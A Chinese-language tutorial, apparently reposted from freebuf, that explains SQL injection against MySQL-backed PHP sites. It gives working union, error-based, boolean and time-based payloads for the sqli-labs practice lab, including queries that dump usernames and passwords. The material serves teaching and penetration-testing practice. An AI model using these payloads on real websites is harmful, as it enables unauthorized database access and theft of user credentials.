SQL注入介绍 – 作者:zhijian

第一部分 Mysql基础知识

1.1 常见网站架构

说明:这里需要小伙伴有常用sql语句的基础,请自行查漏补缺. 前边有LAMP环境的搭建(phpstudy).

1.为什么要有数据库?

   如果一个网站只有几十个或者上百会员,那么直接存储在某个文件里就可以.但是当用户信息或者一些不常用的信息(比如前几个月的新闻数据)过多时,用文件存储就显得不方便存取.

   而数据库正是为了解决大量数据的”管理问题”(增/删/查/改等操作)而开发的一套系统.

   那么如果实现数据的管理就显得尤为重要,后边我们再说常用sql语句.

 

2.常见的网站架构是什么样的?

   介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例

图片[1]-SQL注入介绍 – 作者:zhijian-安全小百科

   (1)根据客户端的请求数据类型,可以把服务端资源分为静态和动态资源.

   (2)静态资源就是我们平时说的”前台”信息,包括HTML/CSS/JS等,也就是web服务器可以直接解析客户端请求,不需要借助数据库就能完成.

   (3)但是对于很多网站来说,大量的数据被存储在Mysql服务器中,那么作为web服务器如何从数据库获取数据呢?这时候就要借助”后端脚本”(当然这里是统称,也可以说是后端语言)的力量了.

   (4)而常见的后端语言就是asp/aspx/php/jsp等,这些语言你可以理解为web服务器和mysql之间的桥梁.

   (5)对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式.比如黑灰产里的倒卖用户信息,插入一些恶意代码等.

1.2 sql注入的原理

1.以我们进行百度搜索时某个”关键词”时,我们客户端的请求就会被带入数据库查询.

2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1 这里,id=1是正常的参数

3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1′ and select database() –+    

那么这里and后的语句就是”非法语句”,显然服务端不希望我们获取响应信息.这时,sql注入就出现了.

4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.

5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.

1.3 sql注入的危害

1.暴露了数据库里的用户信息;

2.获取后台管理员账号和密码,达到进一步渗透的目的;

3.一些mysql运行权限过高,可以直接提权成功;

4.造成整个数据库被”脱库”等.

1.4 Mysql中的常用函数

1.有关select函数介绍(直接在mysql中进行查询)

  • 语法:  select  函数名
     select  user()   #查看当前mysql登录用户
     select  session_user() #同上
     select  database()  #查看当前使用的mysql数据库名
     select  @@version  #查看当前mysql版本号
     select  @@basedir  #数据库安装路径
     select  @@datadir  #数据库数据存储路径
     select  @@version_compile_os #操作系统信息

2.myslq中的默认表和作用

  • 在mysql5.0以后,必须要知道的几个表如下:
  • Information_schema:提供了所有数据库中的元数据,存储了整个mysql中的所有库/表/列名等信息.
  • Mysql:mysql的核心数据库,用来存储所有用户名/密码和数据库访问权限等信息.
  • Performance_schema:记录了各种日志信息
  • test:测试库,默认为空

3.mysql中必须要知道的表

     看着好像有点蒙,如果是小白的话,就链接到数据库中,Navicat链接图形化界面查看一下吧.

     一定要分清库名,表名,列名这些基本概念.

  • #SCHEMATA表:存储了数据库中所有数据库信息
     存储字段:SCHEMA_NAME  
     
  • #TABLES表:存储了数据库中所有表的信息
    字段:TABLE_SCHEMA, TABLE_NAME  
  • #COLUMNS表:存储了数据库中所有列的信息
    字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
  • #user_privileges:用户权限信息

4.必会基本查询语句

     想掌握就只能多敲几遍了.

  • select database();  #查看当前库名;
  • select table_name from information_schema.tables where table_schema=database()  ;  #查看当前库下的表名
  • select column_name from information_schema.columns where table_schema=database() and table_name=’user’;  #查询列名
  • select name,password from user;   #获取用户名和密码列

 

5.mysql中的注释风格(以下方式都可以)

  • # (url编码为%23)
  • — (–后边要跟上一个或多个空格)
  • /* ….. */
  • /*! …. */ 内联注释
  • select * /*!22222from*/ users;   #数字小于当前mysql版本号,就正常显示;等于或大于就查询异常.

第二部分 SQL注入分类

2.1 sql注入分类介绍

说明:今天只说union注入方式,靶机其他注入方式实战先说理论.

1.按照基本的数据类型,sql注入分为整型和字符型.

   (1)整型:就是用户传递到服务端的数据被当做”数字类型”来处理.

    $sql = “select * from table where id=1”  #如果查询的时候,sql语句中id=n没有被引号包裹,那么就叫做整型注入;

   (2)字符型:就是用户传递到服务端的数据被当做”字符串类型”来处理.

   $sql = “select * from table where id=’用户’ ”   #如果查询的时候,sql语句中id=’user’时,查询内容被引号包裹,那么就叫做字符型注入;

2.如何判断网站是否存在注入

    一般请求的url为 http://192.168.1.1/sqli/Less-1/?id=1 这个URL中,被带入数据库的请求参数就是id=后的1. 如果要判断是否存在注入,可以用以下方式:

    (1)在1后加’  单引号

    (2)在1后加/  斜杠

    (3)在1后加and  1=1 或者 and 1=2  

    (4)在1后加and  sleep(5)

3.还有字符型和整型的最大区别是:字符型需要先闭合前边的”引号”,后边加注释.

    $sql = “select * from table where id=’1′ “;  在正常查询语句,在注入中,想把我们自己的语句加入进来,需要先闭合前边1的’  and  1=1 后边由于还有单引号,所以需要注释掉用–+

    而整型则不需要闭合和注释.

 

2.2 联合查询注入

1.按照注入语法分为:联合查询注入Union/报错查询注入error/布尔型注入Boolean/延时注入Time/堆叠查询注入

2.联合查询注入是最简单的一种注入方式,但是要求页面必须有显示位.否则无法注入.

   显示位:可以理解为从数据库提取的数据被显示在前端. 如果没有显示位,我们无法查看注入的结果.

3.联合查询一般步骤

    (1)先判断是否存在注入,如果存在(正常和异常页面显示不同则存在注入)是字符型还是整型注入;

    图片[2]-SQL注入介绍 – 作者:zhijian-安全小百科

    图片[3]-SQL注入介绍 – 作者:zhijian-安全小百科

   图片[4]-SQL注入介绍 – 作者:zhijian-安全小百科

    

    (2)判断列数

    order by 用来对表里的数据进行排序,order  by 1 表示按照第一列进行排序.依次类推.

图片[5]-SQL注入介绍 – 作者:zhijian-安全小百科

     order  by 4的时候,没有显示结果,表示没有第4列.

图片[6]-SQL注入介绍 – 作者:zhijian-安全小百科

    (3)找到显示位

图片[7]-SQL注入介绍 – 作者:zhijian-安全小百科

 

    (4)获取库名图片[8]-SQL注入介绍 – 作者:zhijian-安全小百科

    (5)获取表名

图片[9]-SQL注入介绍 – 作者:zhijian-安全小百科

    (6)获取列名

图片[10]-SQL注入介绍 – 作者:zhijian-安全小百科

    (7)获取字段信息

       localhost/sqli/Less-1/?id=-1′ union select 1,group_concat(concat_ws(0x23,username,password)),3 from users –+

图片[11]-SQL注入介绍 – 作者:zhijian-安全小百科

2.3 报错查询注入

1.union注入是最简单方便的,但是要求页面必须有显示位,没有就没法利用.

  所以当页面没有显示位时,我们需要用其他方法来获取数据.

2.报错注入: 有些网站在开发调试阶段开启了报错提示信息,如果没有关闭,就有可能存在报错注入.

   代码如下:

   $sql = “select * from users where id = ‘$id'”;

   #没有显示位,但是查询时有报错提示信息.
   $result = mysqli_query($link,$sql) or die(“查询出错:”.mysqli_error($link));

3.所以报错注入的条件就是: 网站页面中必须开启了mysqli_error这个函数.

4.常用报错注入函数:

  #函数1、floor函数:

   floor(rand(0)*2):利用分组时生成的虚拟表出现主键冲突,报出错误信息.

    基本格式: select count(*),concat(/*payload*/,floor(rand(0)*2)) as x from user group by x;

    说明:payload可以替换为任意的查询语句.如下所示,database()还可以换成其他的数据库名/表名/列名等语句.concat是mysql中连接多个字符的函数,起到连接作用.

    举例:        

    select count(*),concat(database(),floor(rand(0)*2)) as x from user group by x;   #爆出当前库名

     #函数2、extractvalue报错
    基本格式: ?id=1  and extractvalue(1, (payload))
    举例:        ?id=1 and extractvalue(1, concat(0x7e,(select @@version),0x7e))

    #函数3、updatexml报错

    基本格式: ?id=1  and updatexml(1,(payload),1)
    举例:        ?id=1 and  updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)

2.4 布尔注入

1.如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入.

2.通过插入一些语句查看结果来判断是否存在布尔注入.

3.布尔注入的几个常用函数

     当然,几个函数可以搭配使用

  • length(select database())>5  #length()里可以放查询语句,用来判断查询结果的长度
  • exists( )      #exists()里可以放查询语句,用来判断查询结果是否存在
  • ascii( )     #ascii()里可以放查询语句,用来把查询结果转换为ascii的值
  • substr( string,pos,length)  #用来截取查询结果,string可以用查询语句代替,pos表示截取位置–下标从1开始,length表示截取的长度;

    举例:

    select * from user where id=1 and length(user())>10;  #如果user()用户长度>10,返回就正常;否则返回为空. 这个是完整的查询语句.

   下边是测试URL时的语句

   ?id=1  and substr((select user()), 1, 1)=’r’  #判断用户第一个字符是否为r
  ?id=1  and substr((select user()), 2, 1)=’o’  #判断用户第二个字符是否为o
  ?id=1  and ascii(“r”)=114
  ?id=1   and ascii(substr((select user()), 1, 1))>114  #判断用户第一个字符的ascii表是否大于114

2.5 延时注入

1.如果布尔注入不行时,可以用延时注入.

2.延时注入基本格式:

  • #IF(Condition,A,B)函数
    #当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
    eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

3.举例

#(1)判断当前数据库长度

id=3′ and if(length(database())>10,sleep(5),1) –+  #判断数据库长度

#(2)获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1) 

#(3)判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) 

 

 

来源:freebuf.com 2020-07-15 00:15:58 by: zhijian

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论